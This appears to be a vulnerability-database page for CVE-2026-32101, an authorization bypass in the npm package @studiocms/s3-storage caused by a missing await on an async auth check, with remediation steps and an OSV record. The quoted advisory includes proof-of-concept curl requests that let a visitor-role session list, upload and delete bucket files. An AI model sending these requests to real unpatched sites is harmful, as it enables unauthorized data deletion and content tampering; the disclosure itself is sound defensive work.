Vulnerabilities in pkg:npm/@studiocms/s3-storage

PACKAGE
Advisory Identifier: GHSA-mm78-fgq8-6pgr
Advisory Summary

CVE-2026-32101 is a HIGH (CVSS 7.6) studiocms s3 storage manager authorization vulnerability (CWE-863: Incorrect Authorization) affecting @studiocms/s3 storage libraries in the npm ecosystem. The issue involves studiocms s3 storage manager authorization bypass via missing `await` on async auth check. Remediation is available by upgrading affected packages to version 0.3.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@studiocms/s3-storage

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@studiocms/s3-storage. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-mm78-fgq8-6pgr CVE-2026-32101 HIGH StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check

CVE-2026-32101 at a Glance

CVE Identifier CVE-2026-32101
GHSA Identifier GHSA-mm78-fgq8-6pgr
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-863: Incorrect Authorization
Affected Product @studiocms/s3 storage
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-32101

To remediate this vulnerability, upgrade all affected @studiocms/s3 storage dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@studiocms/s3-storage fixed: 0.3.1
npm install @studiocms/s3-storage@0.3.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @studiocms/s3-storage

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-32101, inspect your project dependencies using npm:

npm ls @studiocms/s3-storage

Analyze the terminal output to locate any version of @studiocms/s3 storage in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.1), your application is affected.

Note: The npm ls @studiocms/s3-storage command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In @studiocms/s3 storage, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The S3 storage manager's `isAuthorized()` function is declared `async` (returns `Promise<boolean>`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename, and list all files in the S3 bucket. ## Details The `isAuthorized` function is typed as returning `Promise<boolean>` in `packages/studiocms/src/handlers/storage-manager/definitions.ts:88`: ```typescript export type ParsedContext = { getJson: () => Promise<ContextJsonBody>; getArrayBuffer: () => Promise<ArrayBuffer>; getHeader: (name: string) => string | null; isAuthorized: (type?: AuthorizationType) => Promise<boolean>; // async }; ``` Both context drivers implement it as `async` — `packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32`: ```typescript isAuthorized: async (type) => { switch (type) { case 'headers': { // ... token verification ... const isEditor = level >= UserPermissionLevel.editor; if (!isEditor) return false; return true; } default: { const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false; return isEditor; } } }, ``` But in the S3 storage manager, it's called without `await` — `packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200`: ```typescript if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) { return { data: { error: 'Unauthorized' }, status: 401 }; } ``` And again at line 372 (PUT handler): ```typescript if (!isAuthorized(type)) { return { data: { error: 'Unauthorized' }, status: 401 }; } ``` `isAuthorized(type)` returns a `Promise` object. `!Promise{...}` is always `false` because a Promise is truthy. The 401 response is never returned. **Execution flow:** 1. Visitor-role user sends POST to `/studiocms_api/integrations/storage/manager` 2. `AstroLocalsMiddleware` verifies session exists — passes (visitor is logged in) 3. Handler calls `!isAuthorized('locals')` → evaluates `!Promise{...}` = `false` 4. Authorization check is skipped entirely 5. Visitor performs the requested storage operation ## PoC ```bash # 1. Log in as a visitor-role user and obtain session cookie # 2. List all files in S3 bucket (should require editor+) curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \ -H 'Cookie: studiocms-session=<visitor-session-token>' \ -H 'Content-Type: application/json' \ -d '{"action":"list","prefix":""}' # Expected: 401 Unauthorized # Actual: 200 with full bucket listing # 3. Upload a file as visitor (should require editor+) curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \ -H 'Cookie: studiocms-session=<visitor-session-token>' \ -H 'Content-Type: application/octet-stream' \ -H 'x-storage-key: malicious/payload.html' \ --data-binary '<h1>Uploaded by visitor</h1>' # Expected: 401 Unauthorized # Actual: 200 File uploaded # 4. Delete a file as visitor (should require editor+) curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \ -H 'Cookie: studiocms-session=<visitor-session-token>' \ -H 'Content-Type: application/json' \ -d '{"action":"delete","key":"important/document.pdf"}' # Expected: 401 Unauthorized # Actual: 200 File deleted ``` ## Impact - Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above - Attacker can delete arbitrary files from the S3 bucket, causing data loss - Attacker can list all files and generate presigned download URLs, exposing all stored content - Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads ## Recommended Fix Add `await` to both `isAuthorized()` calls in `packages/@studiocms/s3-storage/src/s3-storage-manager.ts`: ```typescript // POST handler (line 200) — before: if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) { // After: if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) { // PUT handler (line 372) — before: if (!isAuthorized(type)) { // After: if (!(await isAuthorized(type))) { ```

CVE-2026-32101 Affected @studiocms/s3 storage Versions

1 component(s)
Fixed Versions:
0.3.1
Product / Package Ecosystem Affected Versions Fixed Version
@studiocms/s3-storage
npm
< 0.3.1
0.3.1

References

Frequently Asked Questions

What is CVE-2026-32101?
CVE-2026-32101 is a security vulnerability in @studiocms/s3 storage involving StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check under CWE-863: Incorrect Authorization.
Which @studiocms/s3 storage versions are affected?
Affected versions include releases prior to 0.3.1 across affected packages: @studiocms/s3-storage.
What version fixes CVE-2026-32101?
Upgrading to 0.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @studiocms/s3-storage affected?
Yes, @studiocms/s3-storage is affected in releases prior to 0.3.1. Upgrade your dependency to 0.3.1 or later.
What is the CVSS score of CVE-2026-32101?
CVE-2026-32101 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L.
What CWE is associated with CVE-2026-32101?
CVE-2026-32101 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check npm dependencies for CVE-2026-32101?
Run the dependency tree command: 'npm ls @studiocms/s3-storage'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mm78-fgq8-6pgr",
  "modified" : "2026-03-12T14:49:30Z",
  "published" : "2026-03-12T14:49:30Z",
  "aliases" : [ "CVE-2026-32101" ],
  "summary" : "StudioCMS S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check",
  "details" : "## Summary\n\nThe S3 storage manager's `isAuthorized()` function is declared `async` (returns `Promise<boolean>`) but is called without `await` in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, `!isAuthorized(type)` always evaluates to `false`, completely bypassing the authorization check. Any authenticated user with the lowest `visitor` role can upload, delete, rename, and list all files in the S3 bucket.\n\n## Details\n\nThe `isAuthorized` function is typed as returning `Promise<boolean>` in `packages/studiocms/src/handlers/storage-manager/definitions.ts:88`:\n\n```typescript\nexport type ParsedContext = {\n    getJson: () => Promise<ContextJsonBody>;\n    getArrayBuffer: () => Promise<ArrayBuffer>;\n    getHeader: (name: string) => string | null;\n    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async\n};\n```\n\nBoth context drivers implement it as `async` — `packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32`:\n\n```typescript\nisAuthorized: async (type) => {\n    switch (type) {\n        case 'headers': {\n            // ... token verification ...\n            const isEditor = level >= UserPermissionLevel.editor;\n            if (!isEditor) return false;\n            return true;\n        }\n        default: {\n            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;\n            return isEditor;\n        }\n    }\n},\n```\n\nBut in the S3 storage manager, it's called without `await` — `packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200`:\n\n```typescript\nif (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {\n    return { data: { error: 'Unauthorized' }, status: 401 };\n}\n```\n\nAnd again at line 372 (PUT handler):\n\n```typescript\nif (!isAuthorized(type)) {\n    return { data: { error: 'Unauthorized' }, status: 401 };\n}\n```\n\n`isAuthorized(type)` returns a `Promise` object. `!Promise{...}` is always `false` because a Promise is truthy. The 401 response is never returned.\n\n**Execution flow:**\n1. Visitor-role user sends POST to `/studiocms_api/integrations/storage/manager`\n2. `AstroLocalsMiddleware` verifies session exists — passes (visitor is logged in)\n3. Handler calls `!isAuthorized('locals')` → evaluates `!Promise{...}` = `false`\n4. Authorization check is skipped entirely\n5. Visitor performs the requested storage operation\n\n## PoC\n\n```bash\n# 1. Log in as a visitor-role user and obtain session cookie\n\n# 2. List all files in S3 bucket (should require editor+)\ncurl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \\\n  -H 'Cookie: studiocms-session=<visitor-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"action\":\"list\",\"prefix\":\"\"}'\n\n# Expected: 401 Unauthorized\n# Actual: 200 with full bucket listing\n\n# 3. Upload a file as visitor (should require editor+)\ncurl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \\\n  -H 'Cookie: studiocms-session=<visitor-session-token>' \\\n  -H 'Content-Type: application/octet-stream' \\\n  -H 'x-storage-key: malicious/payload.html' \\\n  --data-binary '<h1>Uploaded by visitor</h1>'\n\n# Expected: 401 Unauthorized\n# Actual: 200 File uploaded\n\n# 4. Delete a file as visitor (should require editor+)\ncurl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \\\n  -H 'Cookie: studiocms-session=<visitor-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"action\":\"delete\",\"key\":\"important/document.pdf\"}'\n\n# Expected: 401 Unauthorized\n# Actual: 200 File deleted\n```\n\n## Impact\n\n- Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above\n- Attacker can delete arbitrary files from the S3 bucket, causing data loss\n- Attacker can list all files and generate presigned download URLs, exposing all stored content\n- Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads\n\n## Recommended Fix\n\nAdd `await` to both `isAuthorized()` calls in `packages/@studiocms/s3-storage/src/s3-storage-manager.ts`:\n\n```typescript\n// POST handler (line 200) — before:\nif (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {\n\n// After:\nif (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {\n\n// PUT handler (line 372) — before:\nif (!isAuthorized(type)) {\n\n// After:\nif (!(await isAuthorized(type))) {\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@studiocms/s3-storage"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-mm78-fgq8-6pgr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32101"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withstudiocms/studiocms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-12T14:49:30Z",
    "nvd_published_at" : "2026-03-11T21:16:16Z"
  }
}